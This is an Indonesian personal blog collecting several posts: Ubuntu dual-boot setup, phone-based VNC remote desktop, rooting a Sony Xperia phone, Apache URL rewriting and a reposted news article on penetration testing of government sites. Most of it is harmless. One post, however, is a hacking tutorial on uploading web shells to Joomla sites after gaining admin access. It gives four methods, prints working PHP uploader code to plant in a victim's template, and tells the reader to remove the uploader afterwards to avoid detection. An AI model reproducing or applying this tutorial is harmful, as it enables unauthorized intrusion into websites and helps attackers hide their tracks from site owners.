Install Ubuntu 11.04 Dualboot Dengan Windows


Tutor ini udah ane coba praktekin,, tp yaa.. ane ga sempet screenshoot pas ane lg install. jadi ane posting aja tutorial ini biar klo ntar ada temen yg butuh, bisa liad blog ini.




  • Tulisan ini ditujukan untuk saya berbagi sesama pemula linux yg ingin mengenal linux dengan cara dualboot Ubuntu dengan Windows yg sudah terlebih dahulu terinstall.

Ubuntu 11.04 Natty Narwhal

1. Boot LiveCD/USB, kemudian pilih Try Ubuntu

2. Desktop Live Ubuntu Natty
Jika VGA anda support 3D pada mode live maka anda akan mendapatkan tampilan desktop seperti gambar pertama di atas. Namun jika tidak anda akan akan mendapatkan tampilan klasik.
Jangan khawatir, setelah Ubuntu Natty terinstall ke hard disk kita bisa langsung menginstall driver VGA sehingga kita bisa menikmati desktop baru Ubuntu seperti diatas yg dinamakan Unity.

3. Menyiapkan Partisi Untuk Instalasi Ubuntu.
Untuk mengatur partisi kita menggunakan aplikasi bernama gparted yg sudah tersedia di Ubuntu Live-CD.
[Image: Screenshot-19.jpg]

Jika anda mendapatkan desktop Unity tinggal klik menu kemudian cari gparted.

Pertama yg perlu kita lakukan adalah memformat partisi yg sudah kita siapkan untuk instalasi menjadi partisi extended.
[Image: Screenshot-0.jpg]

Klik kanan partisi tersebut kemudian klik New. Akan muncul jendela dialog...
Klik pada bagian Create As, pilih Extended Partition. Kalau sudah klik Add.
[Image: Screenshot-11.jpg]

Kita akan kembali ke jendela utama, klik icon check kemudian pilih Apply. Partisi Extended berhasil dibuat.
[Image: Screenshot-12.jpg]

4. Membuat Partisi swap dan ext4
Kita sudah membuat Partisi Extended namun masih unallocated. Di sana kita akan membuat partisi yg diperlukan untuk instalasi Ubuntu.

Swap
Klik kanan pada partisi unallocated tersebut kemudian pilih New. Akan muncul jendela dialog seperti di bawah.
  • Ubah ukuran partisi dengan menggeser slider pada grafik ke arah kiri sehingga mendapatkan ukuran yg diinginkan. Bisa juga dengan mengetikkan ukuran yg dimau (dalam MB) pada bagian New Size. Pada contoh saya membuat ukuran swap 1024 MiB (1 GiB)
  • Pada bagian File System klik, kemudian pilih linux-swap.
  • Kita bisa juga memberi label, pada partisi tersebut. Di gambar saya memberi label swap.
Kalau sudah klik Add. Kita akan kembali ke jendela utama gparted.
[Image: Screenshot-13.jpg]

Partisi ext4 untuk / (root)
[Image: Screenshot-14.jpg]


Klik kanan pada partisi unallocated, pilih New. Akan muncul dialog box
  • Ubah ukuran partisi dengan menggeser slider pada grafik ke arah kiri sehingga mendapatkan ukuran yg diinginkan. Bisa juga dengan mengetikkan ukuran yg dimau (dalam MB) pada bagian New Size. Pada contoh saya membuat ukuran partisi ext4 25853 MiB (25 GiB)
  • Pada bagian File System klik, kemudian pilih ext4.
  • Kita bisa juga memberi label, pada partisi tersebut. Di gambar saya memberi label Natty.
[Image: Screenshot-15.jpg]


Kalau sudah klik Add. Kita akan kembali ke jendela utama gparted.
[Image: Screenshot-16.jpg]



Kita tinggal menerapkan partisi yg kita buat dengan mengklik icon check yg ada di menu bar
[Image: Screenshot-17.jpg]

Persiapan partisi sudah selesai.
[Image: Screenshot-18.jpg]


5. Proses Instalasi Ubuntu
Klik Ganda icon Install Ubuntu yg ada di desktop, maka akan muncul jendela instalasi Ubuntu.
Klik Forward
[Image: Screenshot-1.jpg]

Muncul jendela yg menginformasikan agar kita:
  • Memiliki setidaknya ruang hard disk sebesar 4.4 GB.
  • Terhubung ke sumber listrik. Disarankan untuk pengguna notebook agar menggunakan charger saat menginstall agar tidak terputus tiba2 karena kehabisan daya baterai.
  • Terhubung ke internet. Tapi bagi saya lebih baik tidak terhubung ke internet agar proses instalasi selesai lebih cepat. Karena apabila kita terhubung ke internet maka Ubuntu akan berusaha mendapatkan update, akan memakan waktu apalagi untuk yg koneksi internetnya lambat.
  • Di bawah ada 2 pilihan yg bisa dicentang bila kita terhubung ke internet, tapi buat saya lebih baik tidak di centang karena kedua hal tersebut bisa kita lakukan dengan mudah setelah Ubuntu terinstall.
Klik Forward.
[Image: Screenshot-2.jpg]

Di jendela berikutnya kita akan diberi 3 pilihan Instalasi Ubuntu:
  • Install Ubuntu Alongside Them. Pilihan ini adalah untuk yg tidak ingin menyiapkan partisi sendiri tapi dibuatkan secara otomatis oleh installer Ubuntu.
  • Erase Disk and Install Ubuntu. Pilihan ini akan menghapus seluruh isi hard disk kemudian menginstall Ubuntu pada disk tersebut. Pilihan ini bisa dipakai pada hard disk baru/kosong.
  • Something Else. Dengan pilihan ini kita dengan leluasa menentukan lokasi dan ukuran partisi untuk instalasi Ubuntu. [COLOR="Red"]Pilihan inilah yg kita pakai![/COLOR]
Pilih Something Else, kemudian klik Forward.
[Image: Screenshot-3.jpg]

Akan muncul jendela yg menampilkan tabel partisi. Disana kita bisa lihat partisi2 hard disk yg kita punya termasuk dua partisi yg sudah kita siapkan sebelumnya, yaitu swap dan ext4.
Hard Disk saya terbaca sebagai sdb karena saya menggunakan dua hard disk pada PC. Bila anda menggunakan notebook atau satu hard disk saja maka hard disk anda akan terbaca sebagai sda. Sama saja
Yg perlu kita lakukan adalah menentukan mount point (fungsi) dari partisi ext4 saja. Partisi yg lain jangan disentuh! Partisi swap pun tidak perlu kita sentuh karena otomatis akan terdetek.

Klik pada partisi ext4, kemudian klik Change.
[Image: Screenshot-4.jpg]


Akan muncul jendela dialog:
  • Use As: Ext4 Journaling File System
  • Format The Partition: Pilih Format
  • Mount Point: Pilih /
Kalau sudah klik OK.
[Image: Screenshot-5.jpg]


Persiapan partisi sudah selesai. Tidak perlu mengubah bagian lain. Klik Install Now.
[Image: Screenshot-6.jpg]

6. Mengisi Data Personal
Klik pada map dimana lokasi anda berada, pada contoh saya memilih Jakarta.
[Image: Screenshot-7.jpg]

Keyboard Layout. Pilih saja default yaitu USA.
[Image: Screenshot-8.jpg]

Kita ditawarkan untuk mengimport user account, tapi karena sebelumnya kita tidak memiliki instalasi Ubuntu langsung klik Forward.
[Image: Screenshot-9.jpg]

Selanjutnya kita tinggal mengisikan nama dan password yg mau kita gunakan. Ingat jangan menggunakan huruf kapital pada User Name!.



7. Finishing Installation.
Instalasi akan selesai beberapa saat lagi, sambil menunggu silakan nikmati slideshow yg mengenalkan beberapa fitur Ubuntu.




Saat proses instalasi Ubuntu selesai akan muncul pop up window yg menginformasikan. Klik Restart.




=========================================================================
Dualboot Problems

Salah satu masalah yg sering dialami pengguna dual/multi boot adalah soal bootloader. Dalam hal ini Ubuntu menggunakan grub. Lebih detil soal Boot sector, boot loader, MBR, dan kawan2 bisa lihat di sini.

Skenario masalah yg mungkin terjadi adalah sebagai berikut:

1. Menghapus Partisi Windows
Misalkan kita, memutuskan untuk menghapus partisi windows karena suatu alasan. Kita bisa melakukannya dengan menggunakan gparted.
1. Install gparted, di terminal

Code:
sudo apt-get install gparted

2. Masuk gparted kemudian delete partisi windows.
3. Update grub anda, di terminal
Code:
sudo update-grub

Sekarang windows sudah lenyap dari partisi anda. Tugas selesai.

2. Menghapus Partisi Ubuntu
Ini akan lebih sulit karena MBR ditangani oleh grub ubuntu sehingga kita perlu melakukan restore bootloader windows ke MBR menggantikan grub.
1. Di windows masuk ke disk management, kemudian delete partisi Ubuntu.
2. Kemudian Reboot ke DVD/USB installer windows anda. Pilih repair. Kemudian ada pilihan untuk repair atau restore, pilih repair.

[Image: repair1.jpg]

[Image: repair2.jpg]

[Image: repair3.jpg]

[Image: repair4.jpg]

3. Di mode repair pilih opsi paling bawah yaitu command line (cmd). Kemudian ketikkan perintah
Code:
bootrec /fixboot
bootrec /fixmbr

Akan muncul pemberitahuan kalau perintah berhasil dijalankan. Kemudian reboot.

Anda sekarang sudah bisa kembali boot ke Windows.

3. Tidak Bisa Masuk Ubuntu Setelah Install Windows
Untuk menyelesaikan masalah ini kita memerlukan live CD/USB Ubuntu.

Pada live CD/USB masuk ke terminal dan lakukan langkah2 berikut:
1. Lihat daftar partisi anda
Code:
sudo fdisk -l

Lihat di partisi manakah Ubuntu (Linux) anda berada, misalkan di /dev/sda1
Sedangkan partisi boot adalah pada partisi windows (ada tanda *)
Sehingga kita perlu membuat agar komputer boot ke partisi Linux.
2. Kita mount direktori linux tadi pada direktori live cd.
Code:
sudo mount /dev/sda1 /media
3. Sekarang kita bisa melakukan reinstall grub ke hard disk (/dev/sda)
Code:
sudo grub-install --root-directory=/media /dev/sda

Bila muncul pemberitahuan berikut:
Installation finished. No error reported.
berarti reinstall grub kita berhasil.

4. Reboot
Segera setelah masuk di desktop ubuntu masuk ke terminal, kemudian lakukan update-grub
Code:
sudo update-grub

Partisi windows anda akan terbaca dan masuk ke dalam entry boot.

Sekarang anda sudah bisa kembali memilih Ubuntu atau Windows saat boot.

Original by ohyesohnobaby 

Remote Desktop via Handphone



Assalamualaikum warahmatullahi wabarakatuh.
met malem ..

mo sharing2 aja, cara untuk remote desktop pc/laptop pake hape. maksudnya disini pake hape yg ber-OS android. sebenernya udah bnyak tutorial kaya gini di internet, jd ya maaph kalo ternyata repost.
bnyak aplikasi2 android untuk remote desktop. seperti unified, splashtop, airdroid, dll. bisa juga pake teamviewer, yg udah ga asing lg bagi kita buat remote komputer jarak jauh.
untuk koneksi yg digunakan antara pc dengan hape bisa via wifi, bluetoth, ataupun internet. untuk kali ini, ane mau bahas remote desktop windows dr hape pake aplikasi RealVNC.
pasti juga udah pada tau aplikasi ini. udah sering digunain buat remote2an juga. yaudah.. skrng kita mulai caranya.



PERSIAPAN
Dari sisi PC/laptop :
install RealVNC server nya.
1. Buat yg belom punya , bisa download disini --> http://realvnc.com/download/vnc/
silakan install, ane kira ga sulit kok. jd skip aja yak.

Dari sisi Handphone :
Download RealVNC viewer. ---> http://www.mediafire.com/?f01jf96tk9frb71 trus install dah.

nah, untuk koneksinya ane pake fasilitas portable hotspot yg ada di android. jadi hapenya kita jadiin access point, dan PC/laptop sbg station, yg kita konekin ke wifinya android.
masuk SETTING > TETHERING & PORTABLE HOTSPOT > centang di bagian PORTABLE WIFI HOTSPOT.


[Image: 2013_03_18_16.38.07.png]

kalo udah, kita ke PC/laptop. aktifin wifi nya. scan network. cari nama SSID hotspot hapenya. disini punya ane kedetect Xperia E Dual (nama default dr hape), mungkin untuk yg laen bisa beda2.
kalo udah ketemu, konekin aja.

[Image: rd1.png]

trus kita cek, PC/laptop kita dapet IP brapa. disini punya ane dpet IP : 192.168.43.69

[Image: rd2.png]

sekarang kita gantian ke HP nya.
buka VNCviewer yg udah kita install td.

[Image: 2013_03_18_16.35.27.png]

kita ke bagian option nya, trus klik NEW

[Image: 2013_03_18_16.45.24.png]

isi bagian address dengan IP address PC/laptop kita.
bagian Name, isi apa aja boleh.
klik DONE

[Image: 2013_03_18_16.47.01.png]


trus stelah itu. klik CONNECT

[Image: 2013_03_18_16.47.37.png]

muncul kek gini, klik YES

[Image: 2013_03_18_16.47.59.png]

muncul athentikasi, isi dengan password VNC yg sebelumnya udah disetting. sesuai di option pada VNC server di PC/laptop. klik OK

[Image: 2013_03_18_16.48.36.png]


tunggu sebentar,
nah.. udah konek sekarang.


[Image: Foto-0002.jpg]

td ane juga test PC/laptop di lantai 4, ane remote dr lantai 2, masi bisa. koneksi masi lancar.
kalo mau remote jarak jauh, enak pake teamviewer, koneksi via internet.


mungkin itu aja..

Wassalamualaikum Warahmatullahi Wabarakatuh.

Rooting Sony XPERIA E Dual


lama juga ndak nulis di blog. kali ini ane mo share cara rooting di handheld Sony Xperia E Dual, OS android ICS.

langsung ke step nya yak..

Di HP Xperia ente >>
1. Aktifin USB Debugging: Setting > Developer Option > Checklist 'USB debugging'
2. Aktifin kemampuan untuk menginstal aplikasi yang tidak diketahui: Setting > Security > Checklist 'Unknown sources'

Di PC/Laptop ente >>
1. install Sony PC Companion, biar HH nya kedetect di kompi.
2. download Rootkit nya.
3. Extrak Rootkit nya.
4. Connect/sambungin Sony Experia E dual ke PC/Laptop
5. Run file *.bat nya --> trus Input angka 3 dan enter.
sampe muncul tulisan kek gini
Normal Mode enabled!
Please connect device with ADB-Debugging enabled now
1614 KB/s (1085140 bytes in 0.656s)
698 KB/s (22364 bytes in 0.031s)
2510 KB/s (843503 bytes in 0.328s)
..
6. Liat di Xperia ente, pas minta kode enskripsi biarin aja gak usah diisi trus pilih restore (pilihan yang sebelah kanan)
7. Tunggu xperia ente reboot.
[Image: rooting_zps1b864d46.png]
8. klo udah, cek di menu ente, klo muncul aplikasi baru bernama SuperUser , brarti berhasil. Cheer

[Image: shot_000003_zps51970e2c.png]

Selamat ! Xperia E Dual ente rooted !

udah ane test, dan work.

thanks to http://forum.xda-developers.com

kalo dirasa pake cara ini belum bisa rooted , mungkin bisa dicoba pake cara disini http://www.hanivinside.net/2013/05/rooting-android-dengan-srsroot.html 

Trik URL Rewriting

Apa sih URL Rewriting?  URL rewriting adalah penulisan ulang URL (jiah cm ditranslate doang  -_-). Gimana ya, susah mengungkapkan nya dengan kata-kata (yaelah, bilang aja kgak tau). Kalo disuruh ngasi tau apa definisinya/pengertiannya, saya sendiri juga ga pinter merangkai kata-kata. Baiknya langsung aja saya kasih contoh.
Misalnya ada sebuah tautan/URL ---> http://kimcila.biz/index.php?type=perawan&level=1 
 
Struktur URL tadi mungkin kurang begitu mudah dipahami oleh sebagian orang, kalau URL dengan struktur yang diatas sulit dimengerti oleh manusia, apalagi dimengerti oleh mesin pencari, bisa-bisa website kita jauh dari pencarian. dan efeknya  berkurangnya visitor, jadi berkurang pelanggan, sehingga penghasilan juga berkurang L. Jadi URL rewriting juga sangat berpengaruh dari sisi SEO website kita .URL diatas akan lebih baik jika strukturnya seperti ini ---> http://kimcila.biz/layanan/perawan/1 .  Nah,, gimana caranya buat URL rewriting kaya diatas?
Mari kita bahas Caranya, pertama syaratnya yaitu:
> Web server yg dipakai Apache (kalau web server yg lain belum tau saya)
> Modul mod_rewrite
Aktifkan dulu modul mod_rewrite , caranya : buka file konfigurasi nya di folder apache, trus cari file http.conf
Uncomment baris seperti di bawah ini (hilangkan tanda #).
#LoadModule rewrite_module modules/mod_rewrite.so
#AddModule mod_rewrite.c

kalo udah, restart service apache nya.

Di dalam modul mod_rewrite, ada dua fungsi. Yaitu fungsi RewriteRule dan RewriteCond. RewriteRule adalah fungsi yang sangat sederhana untuk memberitahu mod_rewrite apa yang harus dilakukan Sedangkan RewriteCond dipakai untuk memeriksa suatu kondisi, mirip dengan konsep if … then … .
Aturan penggunaan RewriteRule adalah sebagai berikut:
RewriteRule Pattern Substitution [Flag(s)]

Pattern itu maksudnya pola/struktur url yang dibuat, trus kalau substitution adalah file yang dituju untuk keperluan pemrosesan selanjutnya.

Kita coba RewriteRule yg simple dulu,
Buat file php dengan isi seperti ini
   
<?php echo “test simple url rewriting”; ?>
 
simpan dengan nama test.php


Kemudian buat file .htaccess yang isinya begini :
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule ^(.*).html$ $1.php [NC]
</IfModule>
 
Letakkan file .htaccess ini satu folder dengan file test.php , nah sekarang coba akses file test td di browser dengan URL http://localhost/test.html jika muncul tulisan test simple url rewriting. Berarti URL rewriting kita berhasil. Lhoh ! kok bisa? Kan tadi yang dipanggil test.html,  kenapa malah isi dari test.php yang muncul. Yah itu karena kelakuan si mod_rewrite td,  normalnya ketika kita akses test.html harusnya muncul error 404. Kan file test.html ga ada, tp karena ilmu sihir si mod_rewrite, pas kita akses test.html kita diarahkan ke file test.php, coba aja hapus file .htaccess nya, dan akses kembali test.html, apa yang terjadi?

Aturan yang ada di .htaccess ini juga berlaku untuk semua file, misal ada file login.php, jd ketika kita panggil login.html maka akan diarahkan ke file login.php. Tanda [NC] pada file .htaccess diatas maksudnya yaitu No Case atau case-insensitive alias tidak membedakan pemakaian huruf besar maupun kecil pada alamat URL.
Untuk struktur URL seperti contoh di awal tulisan ini, yg  http://kimcila.biz/layanan/perawan/1 ,
 
coba buat file php dengan isi kaya gini
<?php
switch ($_GET['level'])
{
   case 01:
      $level = 'highclass';
      break;
   case 02:
      $level = 'mediumclass';
      break;
   case 03:
      $level = 'lowclass';
      break;
}
?>
<html>
<head>
   <title>Test URL Rewriting</title>
</head>
<body>
<?php echo 'Anda memesan layanan type ' . $_GET['type'] . ' level ' . $level ?>
</body>
</html>


simpan dengan nama index.php
trus buat file .htacsess nya dengan RewriteRule nya kaya gini :

<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule ^layanan/([a-zA-Z]+)/([0-9]+) index.php?type=$1&level=$2 [NC]
</IfModule>

Penulisan mod_rewrite harus diapit oleh dan
. Fungsi diatas adalah untuk mencegah terjadinya pesan kesalahan "500 Internal Server Error" saat page request.
Untuk membuat rule baru, kita tulis RewriteRule. kemudian, kita gunakan tanda ^untuk memulai rule tersebut.

([a-zA-Z]+)
berarti membatasi agar karakter yang diterima hanya berupa huruf a sampai z baik itu huruf besar atau kecil.
([0-9]+) berarti membatasi agar angka yang diterima hanya berupa angka 0 sampai 9.
Tanda + berarti angka/huruf tersebut boleh lebih dari 1.


Dengan cara seperti di atas jika kita mengetikkan http://localhost/layanan/perawan/1 di web browser, otomatis akan diterjemahkan sebagai http://localhost/index.php?type=perawan&level=1.

Sama dengan

Hanya dengan satu fungsi saja, yaitu RewriteRule, sebenarnya kita sudah bisa membuat URL Rewriting. Tetapi jika dikombinasikan dengan RewriteCond, kita bisa membuat beberapa aturan yang lebih kompleks lagi. Untuk RewriteCond , next  posting  aja yak.. :p

Situs-situs Pemerintah Bakal Dikawal "Tim Macan"


KOMPAS.com — Serangan hacker "Anonymous Indonesia" minggu lalu seakan menunjukkan bahwa situs-situs milik pemerintah masih memiliki kerentanan dalam hal sekuriti.

Untuk meningkatkan keamanan-keamanan situs tersebut, diperlukan semacam pengecekan rutin untuk memeriksa celah-celah atau potensi ancaman yang ada.

Itulah yang hendak dilakukan oleh I Made Wiryana, praktisi IT yang juga mengelola situs Presiden RI. Caranya, melalui agen atau program yang akan secara otomatis memeriksa kelemahan-kelemahan yang ada pada situs bersangkutan.

"Jadi istilahnya tes penetrasi. Ada 'tiger team' yang melakukan uji keamanan terhadap situs-situs online. Kalau agen menemukan anomali, misalnya tampilan situsnya berubah, ada exploit, atau kecepatan aksesnya melambat, akan langsung dilaporkan ke tim," ungkap Made dalam percakapan telepon dengan Kompas Tekno, Senin (4/2/2012).

Tiger team atau "tim macan" adalah istilah untuk sejumlah ahli yang ditugaskan mencari setiap kelemahan sekuriti yang ada pada sebuah sistem.

Menurut pria yang juga aktif sebagai dosen dan pegiat Linux di Indonesia ini, pengelola situs online tak ubahnya pemilik gedung yang mesti mengadakan pengecekan rutin terhadap bangunan.

"Misalnya saya sebagai pemilik, tentulah saya ingin tahu, misalnya, bagaimana situasi penjagaan waktu malam hari, apakah satpamnya aktif berjaga atau tidur, lalu apakah sistem pemadam kebakaran berjalan baik atau tidak," Made memberi perumpamaan.

Tentu, pengecekan keamanan pun harus dilakukan seizin pemilik "bangunan" yang bersangkutan karena metode tes penetrasi yang dilakukan persis dengan hacker atau cracker yang bertujuan membobol situs.

"Antara pengecek keamanan dan maling, caranya sama, hanya motivasinya yang berbeda. Kalau maling kan tidak izin dulu, ha-ha-ha," canda Made.

Agar tak salah disangka sebagai penyerang, Made mengatakan bahwa program otomatis ini akan diberi ID khusus yang sebelumnya sudah diketahui oleh pengelola situs. Terkait persoalan etiket, pengecekan keamanan memprioritaskan situs-situs pemerintah, terutama yang sudah memberi izin untuk diperiksa.

Untuk saat ini, metode pengecekan keamanan tersebut baru coba diterapkan di situs-situs pemerintah yang turut dikelola Made, yaitu situs Presiden RI, Wapres, Kemenpora, dan satu situs lagi di bawah Kementerian Pendidikan dan Kebudayaan.

Soal eksekusi program itu nantinya, Made berharap bisa menggandeng pihak-pihak terkait seperti Kementerian Komunikasi dan Informatika serta Computer Emergency Team Indonesia (ID-CERT).

Made mengharapkan semua situs pemerintah bisa turut berpartisipasi dalam program pengecekan keamanan otomatis itu. "Soalnya, aspek keamanan harus dimonitor secara kontinu. Celah sekuriti yang dua tahun lalu belum ada bisa saja muncul hari ini."

Lokal lebih mudah

Untuk meningkatkan keamanan situs-situs online di Indonesia, Made menyarankan agar para penyelenggara sistem elektronik termasuk situs pemerintah dan kalangan bisnis memindahkan data center atau pusat data ke Indonesia serta memakai domain ".id".

Hal ini sejalan dengan Peraturan Pemerintah Nomor 82 Tahun 2012 (PP No 82/2012) tentang Penyelenggaraan Sistem dan Transaksi Elektronik yang mewajibkan setiap penyelenggara sistem elektronik untuk pelayanan publik menempatkan pusat data dan pusat pemulihan bencana di Indonesia.

"Saya sangat mendukung itu (PP No 82/2012) agar keamanannya mudah ditelusuri. Kita bisa minta data soal siapa saja yang akses ke PANDI (Pengelola Nama Domain Internet Indonesia). Kalau domain '.info', misalnya, proses untuk itu terlalu panjang," papar Made.

Dia melanjutkan, kebanyakan situs pemerintah dalam hal ini telah menggunakan domain lokal dengan akhiran ".go.id". "Meski ada juga beberapa yang belum karena berada di bawah departemen tertentu."

Mengenai keamanan situs online milik sejumlah kementerian yang ada di Indonesia, Made mengatakan bahwa banyak di antara situs-situs tersebut merupakan proyek bisnis hasil kerja sama dengan pihak ketiga. "Begitu sudah selesai, maka monitoring-nya tidak dilanjutkan. Di sinilah pentingnya pengecekan keamanan secara kontinu," pungkasnya.
sumber 

4 Trik Cara Upload Shell di Joomla

hai ...., dah lama ga nulis di blog.
kali ini ane mo share sdikit bbrpa trik buat upload shell di CMS joomla. mungkin udah pada tau yaa.. kali aja ada yg belom tau, kaya newbie seperti ane.

okedeh, langsung ke tutorialnya aja.
pertama, yang pasti udah dapet akses ke admin panel joomla nya. ane ga bahas gimana cara dapetin akses admin nya. entah SQLi, jumping, symlink, ,etc.

CARA 1
masuk ke menu site > global configuration. trus klik bagian system
perhatikan bagian media setting,
trus di sub bagian
[+]Legal Extensions (File Types) kita tambahkan ekstensi php kedalamnya
[+]Restrict Uploads --> pilih NO
[+]Check MIME Types --> pilih NO
[+]Legal Image Extensions (File Types) kita tambahkan ekstensi php kedalamnya
[+]Legal MIME Types --> tambahin image/php

[Image: jom15_zps5d089831.png]
klo udah save. stelah itu..
pergi ke media manager (site > media manager) upload shellnya disitu.

[Image: jom13_zps46408fd5.png]
udah ke upload :D , lokasi shell ada di http://korban.com/images/namashell.php

[Image: jom14_zps9182e03f.png]


CARA 2
secara konsep sih sama, disni ane dpetnya joomla versi 1.5.18 , klo versi yg laen.. silakan menyesuaikan. :p
Klik menu Extension > template manager

[Image: jom1_zps8519f91b.png]
trus pergi di bagian administrator.

[Image: jom2_zpsd4100d72.png]
kemudian seleksi nama template admin yg aktif, trus klik edit. klo udah pilih lagi edit html.
kan udah muncul tuh editornya, tinggal kita sisipin aja uploader.
buat yg belom punya uploader, bisa ngambil disini --> http://fake.hol.es/123/shell/simple_uploader.txt
ato ini


<?php
echo '<b>E1nzte1N uploader</b>';
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES Dab!!!</b><br><br>'; }
else { echo '<b>JANCOOK !!! Upload GAGAL !!!</b><br><br>'; }
}
?>
mari kita sisipin uploadernya, ane taro dibawah aja.

[Image: jom4_zps8c473e97.png]
klo udah. save aja.
sukses. dan uploader kita udah nongol dibawah :) tinggal kita upload shell kita.

[Image: jom5_zpsc119e561.png]
setelah upload shell, kita coba akses shell kita. letak file yg udah di upload, itu ada di http://korban.com/administrator/namashell.php

[Image: jom6_zpsb46f9ae3.png]
*kalo ane : biasanya ane balikin lg template admin td ke semula, yg ga ada uploadernya. ane remove lg script uploadernya. biar ga ketauan.
:)

CARA 3
masi dlm masalah edit mengedit template. kali ini kita pake cara edit template yg laen.
kita ke extension > template manager. kali ini kita edit template site nya. tp bukan yg sedang dipakai. (klo yg template admin td kan nyari template yg lg aktif)
skrng kita pilih template site yg sedang tidak aktif. (tanda kalo template itu aktif, ada tanda bintangnya)
klik aja nama template yg ga aktif. misal: beez
trus pilih edit html. klo udah muncul editornya, langsung dah kita replace dengan script shell kita

[Image: jom7_zpsde233746.png]
klo udah silakan disave. nah.. skrng kita coba menuju shell kita.
letak posisi shell uda ane jelasin di gambar diatas. yaitu : http://korban.com/templates/beez/index.php

[Image: jom8_zpsa2810d4a.png]
:)


lagi lagi pake template.
kali ini kita coba upload template baru yg udah kita sisipin shell.
cari aja sembarang template joomla, sesuaiin kompatibilitasnya dg versi joomlanya.
contoh : ane download template siteground. klo udah, ekstrak aja templatenya. trus masukin shell kita. terserah mo ditaro dimana
misal: di dlm folder images/namashell.php

[Image: jom9_zps0a6b1c1f.png]
klo udah kita archive lg templatenya. bentuknya *.zip ya..
klo udah oke, kita upload ke korban.
masuk ke extension> install/uninstall trus upload dah, template "evil" kita td :p
setelah sukses upload. skrng kita cek, dimana lokasi shell kita. masuk ke template manager. trus klik nama template yg baru saja kita tambahin.
ane td install template siteground. liat bagian kanan, ada parameters.

[Image: jom10_zpscc71a5bb.png]
The parameter file /templates/siteground-j15-196/params.ini is writable!
bagian merah, itu lokasi shell kita. tinggal kita sesuaiin dimana kita naro shellnya td. klo ane td masukin di folder images.
jd lokasi shellnya ada di http://korban.com/templates/siteground-j...ashell.php

[Image: jom11_zpsa71b6771.png]
:)

hmmhh.. baru segitu cara ane,
mari diskusi disini, cara cara yg laennya. yang punya trik laen (kalo mau sih) komen juga dimari.
soalnya pernah juga nemu site yg kgak bisa pake ke empat cara diatas.

okedeh, sekian tutorial cupu bin jadul. dr ane.

Tambahan dr abang Sohai , upload shell di joomla versi 2.5.x



[Image: 309927_556901724320519_1516587677_n.jpg]


[Image: 550018_556901907653834_342723693_n.jpg]


[Image: 408430_556901934320498_1928638876_n.jpg]


[Image: 73394_556901954320496_438723634_n.jpg]


[Image: 309953_556901974320494_2097353767_n.jpg]

Green Code Theme Portal


waahh.. uda lama ga posting di blog sendiri..

kali ini ane cm mo share template portal cupu punya ane,
kmaren2 iseng buat sendiri. ya maklum lah.. masi jelek.
namanya juga latihan. cm maen css ama jquery doang.

kali aja ada yg mo nyoba. silakan.

preview



klo mau ngrubah tulisan ascii nya, pake aja ini Text to ASCII, buat generate tulisan nya.



DEMO | DOWNLOAD